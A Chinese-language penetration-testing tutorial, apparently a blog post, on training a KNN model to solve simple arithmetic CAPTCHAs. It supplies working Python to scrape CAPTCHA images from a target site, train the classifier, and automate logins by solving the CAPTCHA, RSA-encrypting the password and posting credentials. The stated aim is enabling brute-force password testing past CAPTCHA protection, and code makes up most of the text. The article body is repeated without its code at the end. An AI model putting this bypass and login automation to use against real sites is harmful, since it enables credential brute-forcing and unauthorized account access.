训练验证码识别模型对抗登录验证码
字数 869 2025-08-07 08:22:18

验证码识别模型训练与对抗技术详解

0x00 前言

在渗透测试场景中,许多业务站点的登录系统都采用验证码机制。当验证码不是前端验证类型时,无法直接使用Burp Suite等工具进行弱密码爆破测试。而现有的验证码识别API大多收费,因此本文介绍如何通过机器学习训练验证码识别模型,用于对抗渗透测试中的验证码防护。

0x01 基本框架

验证码识别对抗的整体流程如下:

  1. 爬取目标验证码图片
  2. 对验证码进行字符切割和预处理
  3. 训练验证码识别模型
  4. 在渗透测试中调用模型识别验证码

0x02 爬取验证码图片

验证码示例

目标站点的验证码为简单的数学运算形式,如"3x4=?"。

爬取方法

验证码接口为/auth/code,返回base64编码的图片数据。使用Python脚本批量下载:

import requests
import base64
import json

for i in range(1, 101):
    url = "https://xxxxxx/auth/code"
    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0)"}
    res = requests.get(url, headers=headers,verify=False)
    result = json.loads(res.text)['img']
    img_data = result.split(",")[-1]
    binary_img_data = base64.b64decode(img_data)
    with open ('./download_img/%d.png' % i, 'wb') as f:
        f.write(binary_img_data)

0x03 字符切割与预处理

1. 人工标注

将下载的验证码图片按内容命名,如"3x4.png"。为提高模型准确性,建议收集足够数量的样本。

2. 图片切割

验证码通常包含三个部分:第一个数字、运算符和第二个数字。切割代码如下:

def cut_image(image, num, img_name):
    im = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    im_cut_1 = im[5:33, 3:23]  # 第一个数字
    im_cut_2 = im[5:33, 26:46] # 运算符
    im_cut_3 = im[5:33, 48:68] # 第二个数字
    im_cut = [im_cut_1, im_cut_2, im_cut_3]
    for i in range(3):
        im_temp = del_noise(im_cut[i])
        cv2.imwrite('./test/'+str(num)+ '_' + str(i)+'_'+img_name[i]+'.jpg', im_temp)

3. 去噪处理

采用灰度直方图分析去除背景噪声:

def del_noise(im_cut):
    bins = 13
    num_gray = math.ceil(256 / bins)
    hist = cv2.calcHist([im_cut], [0], None, [bins], [0, 256])
    lists = [hist[i][0] for i in range(len(hist))]
    
    second_max = sorted(lists)[-2]
    bins_second_max = lists.index(second_max)
    mode = (bins_second_max+0.5) * num_gray
    
    for i in range(len(im_cut)):
        for j in range(len(im_cut[0])):
            if im_cut[i][j] < mode - 15 or im_cut[i][j] > mode + 15:
                im_cut[i][j] = 255
    return im_cut

0x04 训练验证码模型

KNN算法原理

K近邻算法(KNN)工作原理:

  1. 存在带标签的训练样本集
  2. 输入新数据后,计算其特征与样本集中数据的相似度
  3. 选择k个最相似数据中出现次数最多的分类作为新数据的分类
  4. 本文选择k=5

模型训练代码

import numpy as np
from sklearn import neighbors
import os
from sklearn.preprocessing import LabelBinarizer
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report
import joblib
import cv2

# 数据准备
data = []
labels = []
img_dir = './test'
img_name = os.listdir(img_dir)
for i in range(len(img_name)):
    path = os.path.join(img_dir, img_name[i])
    image = cv2.imread(path)
    im = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    image = im.reshape(-1)
    data.append(image)
    y_temp = img_name[i][-5]
    labels.append(y_temp)

# 标签二值化
y = LabelBinarizer().fit_transform(labels)
x = np.array(data)
y = np.array(y)

# 拆分训练集和测试集
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2)

# 训练KNN分类器
clf = neighbors.KNeighborsClassifier(n_neighbors=5)
clf.fit(x_train, y_train)

# 保存模型
joblib.dump(clf, './knn.pkl')

# 评估模型
result = clf.score(x_test,y_test)
print("准确率:%d%%"%(result*100))
class_name = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '-', 'x']
print(classification_report(y_train, clf.predict(x_train), target_names=class_name))
print(classification_report(y_test, clf.predict(x_test), target_names=class_name))

0x05 渗透测试调用

验证码识别流程

  1. 获取验证码图片和UUID
  2. 调用模型识别验证码内容
  3. 计算验证码结果
  4. 使用RSA加密密码
  5. 提交登录请求

完整渗透代码

import requests
import json
import base64
import cv2
import numpy as np
import rsa
from predict_code import predict

base_url = "https://XXXX.xxxxx.cn:9045/"
public_key = "公钥XXXXXXXXXXXXXX"
headers = {'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0)"}

def get_img():
    req = requests.get(base_url + "auth/code",headers=headers,verify=False)
    data = json.loads(req.text)
    img_bs = base64.b64decode(data["img"].replace("data:image/png;base64,", ""))
    nparr = np.frombuffer(img_bs, np.uint8)
    img = cv2.imdecode(nparr, cv2.COLOR_BGR2RGB)
    return data["uuid"], img

def cal_img(img):
    pre1 = predict(img, 3, 23)  # 第一个数字
    pre2 = predict(img, 26, 46) # 运算符
    if pre2 == '-2': pre2 = '+'
    elif pre2 == '-1': pre2 = '-'
    elif pre2 == '10': pre2 = '*'
    pre3 = predict(img, 48, 68) # 第二个数字
    return eval(''.join((pre1, pre2, pre3)))

def rsa_encrypt(text):
    rsa_key = rsa.PublicKey.load_pkcs1_openssl_pem(public_key)
    info = rsa.encrypt(text, rsa_key)
    return base64.b64encode(info)

def login(username, password):
    for i in range(3):  # 重试3次
        uuid, img = get_img()
        code = cal_img(img)
        password_cipher = rsa_encrypt(password.encode()).decode()
        login_data = {
            "username": username,
            "password": password_cipher,
            "code": code,
            "uuid": uuid
        }
        resp = requests.post(base_url + "auth/login", json=login_data, headers=headers,verify=False)
        if resp.status_code == 200:
            return resp.json()["token"]

if __name__ == "__main__":
    token = login(username="我是账号", password="我是密码")
    print("登录成功:" if token else "登录失败", token)

关键点总结

  1. 验证码采集:需要足够数量的样本提高模型准确性
  2. 预处理技术:灰度化、字符切割和去噪是关键步骤
  3. 模型选择:KNN算法简单有效,适合简单验证码识别
  4. 渗透集成:需处理验证码UUID和密码加密等额外防护
  5. 实际应用:模型准确率需达到实际可用水平(本文达到100%)

通过这套方法,可以有效对抗简单的数学运算类验证码,为渗透测试提供便利。对于更复杂的验证码,可能需要采用CNN等更高级的模型。

验证码识别模型训练与对抗技术详解 0x00 前言 在渗透测试场景中,许多业务站点的登录系统都采用验证码机制。当验证码不是前端验证类型时,无法直接使用Burp Suite等工具进行弱密码爆破测试。而现有的验证码识别API大多收费,因此本文介绍如何通过机器学习训练验证码识别模型,用于对抗渗透测试中的验证码防护。 0x01 基本框架 验证码识别对抗的整体流程如下: 爬取目标验证码图片 对验证码进行字符切割和预处理 训练验证码识别模型 在渗透测试中调用模型识别验证码 0x02 爬取验证码图片 验证码示例 目标站点的验证码为简单的数学运算形式,如"3x4=?"。 爬取方法 验证码接口为 /auth/code ,返回base64编码的图片数据。使用Python脚本批量下载: 0x03 字符切割与预处理 1. 人工标注 将下载的验证码图片按内容命名,如"3x4.png"。为提高模型准确性,建议收集足够数量的样本。 2. 图片切割 验证码通常包含三个部分:第一个数字、运算符和第二个数字。切割代码如下: 3. 去噪处理 采用灰度直方图分析去除背景噪声: 0x04 训练验证码模型 KNN算法原理 K近邻算法(KNN)工作原理: 存在带标签的训练样本集 输入新数据后,计算其特征与样本集中数据的相似度 选择k个最相似数据中出现次数最多的分类作为新数据的分类 本文选择k=5 模型训练代码 0x05 渗透测试调用 验证码识别流程 获取验证码图片和UUID 调用模型识别验证码内容 计算验证码结果 使用RSA加密密码 提交登录请求 完整渗透代码 关键点总结 验证码采集 :需要足够数量的样本提高模型准确性 预处理技术 :灰度化、字符切割和去噪是关键步骤 模型选择 :KNN算法简单有效,适合简单验证码识别 渗透集成 :需处理验证码UUID和密码加密等额外防护 实际应用 :模型准确率需达到实际可用水平(本文达到100%) 通过这套方法,可以有效对抗简单的数学运算类验证码,为渗透测试提供便利。对于更复杂的验证码,可能需要采用CNN等更高级的模型。